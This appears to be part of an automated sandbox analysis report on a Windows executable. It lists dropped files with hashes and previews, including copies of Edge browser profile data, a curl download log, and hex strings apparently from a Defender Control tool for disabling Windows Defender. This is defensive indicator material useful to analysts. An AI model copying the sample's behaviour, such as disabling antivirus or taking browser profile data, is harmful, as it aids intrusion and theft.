SHA1:	6EAAF3B995937EBA72752F7DBD6D1F22926C0D83
SHA-256:	79B1D86EC710D64CEE57DFB44792C2759E9F24D0FDBAFC15D929BFEF0305AF93
SHA-512:	B28C36BE45942074B061B626E5E8DD9F177F034BB2963D3411B79370CD0F1F59267CF788F07A79D4E3BE82260825CEB18A2A23869E93A0BDEEE220E2DDA9BC09
Malicious:	false
Preview:	...........}k{.6.._..=>..b$;W...q.w.$...].M..."U......\.R..t....$....s.pm4.c.....8..wQ..p..Q....\|.q..,.....#7.J.fe...q.W.J'E<..\.c.%.9./..6...:I$.n.......>...U.t..gp..=H}~.c.{..7s..r{.8./.w.%/w.......?..q.`.b.;.a.....b.9.a....J..N....F..x....e.n......q$.1.jiG.i......6..0...(..[.ChF.K...,G..C=..3c.g_v.l..a...e..,....P\|;?.N.......0]_w.?...~.Y..J<.....w.~....c..'.eq..f.....$..7....../f.J.n..0....n9..{.......N.......p.....@....D\!....Y.+...fy.Gi.z.4......}..:[s..K.>@..v.Q2....".....).k....dO.B.q..r...P...r..f.p.A.v..'q]....1.U.y4...`..r..v....[.u...yo.....m..Xt.....r.....~.GS5.2.@.......]...3a..u...5g..^>,...a.P..4.J.i....p:.. .n.f.D....JD_=.Y.=...R_>C..v.L..x.{5m.\=.5w....}{.&.\|.>.)~\.H...\|..V...-.yy..\|7...B..!...b..9./.i.....mBi..m..>.".......M.\|...Y!.'....),U.5G#..h%8....qZ.C....t.._a.2......f.e.aL..'..7%........Z.s)...f...v.F@J(.j.s..E.}x......N.../y%.:.$..........D../r~M=..Fy..(.OB......d..%.....I...O.4J ..V<-.4..IQ.pb.b..^..-.O38.

C:\Windows\Temp\fefeec47-33b2-4da6-91f6-dfbe15983ff6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12280
Category:	dropped
Size (bytes):	3110
Entropy (8bit):	7.933903341619943
Encrypted:	false
SSDEEP:	96:0MWjN1CDThRYxENcEvyGF/8WAr6Fv9MFghzqSl:0MWjN1gRYavR8WjMFQzqSl
MD5:	A83A2746B84F1CF573B02965B72ED592
SHA1:	85CC572D6F90029EB99AAFA56297D1BCA494313A
SHA-256:	DF4B53C1C7C48E80753D4945E6EC7847084F51BF57F0ED9D341326C74651D6EC
SHA-512:	C287F479EF572A06FF191C4E9A8A718507C97A2A45CB265D7DC65DD7922B80D36CE7660EC5D7EA9F3D1F1EF71C51C3E4F3D7973754F97A89B4F14D1B1FDE70DE
Malicious:	false
Preview:	............ko.7......J...../..v....... ....zE.\+.T..f..%wW.$........p8/.....z..\|a...}.#y.`.l..7Kr..T:'.UE,.&.i..Y............h...B.....gJ....%.\.?.f]1R..@3.jHA..eHi&.Q..`....g.__?'3^...@~X..a8............UN..%...&.F..K19".Y:.).L.L..WL..xxD>.P@ ...&'..j..)%.Q\..<!.3n.<#....;.gd2.LZ....x.m&.e.`&;.KX..."...<G....8.R.jsd....g.)..?.$=UVT...#.+g.!.......R..1..#D.k...3.Bj3iT......M..L....}..S.K.....zi..n.A{......n..o.0j..q...w...3.7.N..].>...zK..sr1#.d..Tk..ckB...<....j.a.M1oe.9.jIQ.y+...6.....]....v.X.......q.....a>...2`.WV.v.'..~.3.4.'8...hkT.H..9SOIF.%...;n.6.U....i!...2v.9/.;.....R..8.(..L.b....aY2ps% ."...x.V..Y[.h.....^.........U.....p.'.&m.....6..%pWE....:..o.k...<.....5....j.I...9...f..3.....-..0..D;......S.td/...........^_.v.)y ..Uf..q>.v2...0....o....Y%5;.5fn..{.......p_......B..V.......D.Y.l....q 3...sm.b..!..E....a. &.w.-.s..>..M_...`.0..k.!<SH...9$.....V.\A$..}..8....#`...,...3.W..k...\..xH.1).~.Y.L1.O...\.....k.....s..i+.....).0

C:\Windows\Temp\ihqcxco

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	111542
Entropy (8bit):	3.429028761339644
Encrypted:	false
SSDEEP:	768:W62wUDwXu72ncwnSI6MMKWEFcwE66CpHNc+L5BLjZhvDyR4V7rS8uo:W62wUDwXNncwnSI6MMK3cmQ4HDZSJo
MD5:	D1A0850A8B128575034B94F0BD05318B
SHA1:	2064B00E81B2D0AFA60D561CCCA2D2C82D9C8414
SHA-256:	C40566AA7677F27F3A633FFD1A98F80FC60EB0B5B1487B756850504E5B462501
SHA-512:	64A1587E6E6FDB6AAC284D8C5A395385BE9605DB391C718CAF0F5F78359A8627D486C9CA6FDD1A253F0F26321FD76695B6EAC44662F87F4AC69D2873CCC679E5
Malicious:	false
Preview:	4D7573744465636C61726556617273[08AEi4755495F52554E4445464D5347[08AEi47554944617461536570617261746F7243686172[08AEi57696E44657465637448696464656E54657874[08AEi312E37[08AEi446566656E64657220436F6E74726F6C[08AEi202D20417574686F7220627920426C75654C696665[08AEi5B434C4153533A64436F6E74726F6C3A76[08AEi5D[08AEi323031352D32303231[08AEi2040557365724E616D6520[08AEi2040436F6D70696C656420[08AEi20404175746F497445786520[08AEi20404F534172636820[08AEi20404175746F497458363420[08AEi20404F5356657273696F6E20[08AEi57696E446566656E64[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi204053637269707444697220[08AEi204057696E646F777344697220[08AEi53797374656D33325C[08AEi2040576F726B696E6744697220[08AEi6B65726E656C33322E646C6C[08AEi7573657233322E646C6C[08AEi61647661706933322E646C6C[08AEi7368656C6C33322E646C6C[08AEi6F6C6533322E646C6C[08A

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640155433808841
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Y:fwUQC5VwBIiElEd2K57P7Y
MD5:	837404F06A30C16EEA2E533893485018
SHA1:	202AFC7B20C0F0F68E0454958E3D10962C5D7B6C
SHA-256:	2CC9F07BADD952512A931D682D88F86B3546DFB75B7BB62AD7F4C64155647178
SHA-512:	292B60D13E446E114A22888863E382CED131E4E1824A1D2B6C71589409255C03E5A676CEBEB4224366599C3DD957A29E55736C1DE64DF7E25CEF45D3F9DC661D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4991
Entropy (8bit):	4.853684242513618
Encrypted:	false
SSDEEP:	96:nonz1XFZ1aPjS+wwiIMti+NmdeHP7kGVWQyV+VDCAimF:no1EO+YI3+vIG6U
MD5:	C2D04B7B8C77CC6ECD856490ED9F930E
SHA1:	D4FD6DD0AA760951D1C7CE382ADAE20B5BC02596
SHA-256:	AC8F1F61A3AD0382DE68EE520B70064B30232E152DBDD8A479C2F8C90649C625
SHA-512:	B9D1536A46E2B10569B535A3B6D2E77A837049488D6B23B0A1AF71413DA01A4DEDB1F713A54233A9F854B3DC8FB29124989DFFB62AA37B1D2C0058A1A7204BA6
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13381052067045495","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2871},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13381052067045053"},"download":{"default_directory":""},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_sitelist_location":"","consumer_sitelist_version":"","shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_e

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23768
Entropy (8bit):	5.594142406778069
Encrypted:	false
SSDEEP:	384:ySfCt2FRKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVtLlG9yCxrUl8fpFIOIjuk:y4WKR8F1+UoAYDCx9Tuqh0VfUC9xboge
MD5:	C877B4142C6D0DE2096BEBBABAFF7929
SHA1:	ED78B5093C5AB2433BFA8D2A541103098FD27669
SHA-256:	7434ACB5C81BAB3D6933E83C104F160C0B91AF1AF7844368E7645AECFF162423
SHA-512:	9EAECA82F4BC50B9BCC1B7113B6ABC2A15108466DDFFF7C7AB538D3E86FE01FBDFEF808034FA922C3B68A101AACFACC27C45F6F1E908F1BCD463E0E9662B7544
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"disable_reasons":1,"state":0},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13381052066563424","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","htt

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:T9m0XTXl/l7n/lxEkTuM9n:g0XjEL+
MD5:	1DACA1B13AA5AB79ADF2551D3A87B567
SHA1:	651BD98A8215DF3FA5912D9871BBFF1AE152E0F7
SHA-256:	6185413C5B5FBEE668CD4714D435CAE48200F916C6E66A8E007A59559351391B
SHA-512:	92E9E08ECBAFBEB62C5208EF52919228BEAC60D4F9BCB308F0B5DAC07582F96D6C3488F0FB9549AAA0EB2474A98EB6968195FA17AE19010BF67062B6D8F7116D
Malicious:	false
Preview:	@......oy retne.........................X....,.................)..../.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:8rvzN00Ee5xn:8rrNgIx
MD5:	8406B7FFFC864C0D17394F53008327F6
SHA1:	77A5D8CCE98B5D291910FFD501991255057587C7
SHA-256:	BE2B1D5971A028A207CFB52E7F520DE865822693621EF30BF0D1C2FC089A1FC0
SHA-512:	5C4E3FA920432EC12C2488A51B53319A448B8ED9056370990EDCF96284DA67E535163FBBBF5B81E0E46E35FF77E127E1B5A189ECDC486A753E65EE60567A4B54
Malicious:	false
Preview:	(...a.Voy retne..........................E.../.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:8rvzN00Ee5xn:8rrNgIx
MD5:	8406B7FFFC864C0D17394F53008327F6
SHA1:	77A5D8CCE98B5D291910FFD501991255057587C7
SHA-256:	BE2B1D5971A028A207CFB52E7F520DE865822693621EF30BF0D1C2FC089A1FC0
SHA-512:	5C4E3FA920432EC12C2488A51B53319A448B8ED9056370990EDCF96284DA67E535163FBBBF5B81E0E46E35FF77E127E1B5A189ECDC486A753E65EE60567A4B54
Malicious:	false
Preview:	(...a.Voy retne..........................E.../.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2202
Entropy (8bit):	5.305743169749667
Encrypted:	false
SSDEEP:	48:YnOBhmo05ffPHDiiP1XKsV5lXUZPsvBi/vRVe4WnhJa:BjMffrzdXHr0EvAxVe4mhJa
MD5:	8D538FD656183C7004CFB4E8689D5583
SHA1:	E511FA3B1EC7CA0C2BA429C7CF74D3FB93F0C384
SHA-256:	2EDDEDA7255A6FEAE71B749337548CF3BE25C213EF9B8AB6597F6004F23543C4
SHA-512:	A87D2DE8133BF54AA5073DB8B1622B7D03D5F52D93615950C49E736BEEAC02E21DB785A4FF8270633445B6BA9EFBBFE7E1A84230AC30B2E09A222A9738188539
Malicious:	false
Preview:	{"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA2onF6G1EeQY3BWQJxxWnlEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAMmSaSDLMl2ilMZ5cJoyMlNmScsQ5OsudNoE/18DiLYYAAAAADoAAAAACAAAgAAAATZ6UmnaZy++zgp+t3TFXMSN1TFQQxl3ZwEZWMMQBmuQwAAAAoELchcTtgpOFUoy4eul5WuLR63wJEuwEcJcuTQXVbH5y7VsOMq6FE0XckxKvvPDIQAAAAJLfogvHEVPFOa//1PTZN64wL34LfIVgnTTjZc2QcmMhjj1l6U8iKdo7AVTuAtiMMa0JQbYfczMBkOC6L+iP1gU="},"policy":{"last_statistics_update":"13381052064408370"},"profile":{"info_cache":{},"profile_counts_reported":"13381052064141985"},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None"},"profiles":{"edge":{"implicit_signin":{"telemetry

\Device\ConDrv

Download File

Process:	C:\Intel\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	3.385691627678565
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgc9OUFH7Ap9SgOgk:Vz6ykymUexb1U9c9OUFH8r9k
MD5:	3490C524197672030257E62E0981BF40
SHA1:	4C1F6EC0C35EE85C4062C95BB5096841F5B86A20
SHA-256:	DD2DDCD77BD9DA6BAB09AAEFF975D3B80DC402DB87CCED23BADD2E11EB3BEDF3
SHA-512:	E448E37DB6AB5661BA810DCF3D515D10E1FDFB1B049D181B978AFEA1CF659C0B7BCEE53B5375DC34D6C51ECA62EBBFFB082B77F78962F0F24EF1392092263D61
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 23 4477 23 1033 0 0 2202 0 0:00:02 --:--:-- 0:00:02 2202.100 4477 100 4477 0 0 9545 0 --:--:-- --:--:-- --:--:-- 9545..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.847150014849247
TrID:	Win32 Executable (generic) a (10002005/4) 99.24% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	Yv24LkKBY6.exe
File size:	956'256 bytes
MD5:	f0aba799546b1ce04037793579de3c94
SHA1:	3477b56ece979666e4b094534e074f39d52545fe
SHA256:	de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617
SHA512:	e01cca0ddafd248cdd550ad4a5b6aeec3dbb7bfc4fc099733a725d90d2b8b295a05da090c2afe8f55659d18cd57152fce2785cb1f8d62b103e815b2cb8b33061
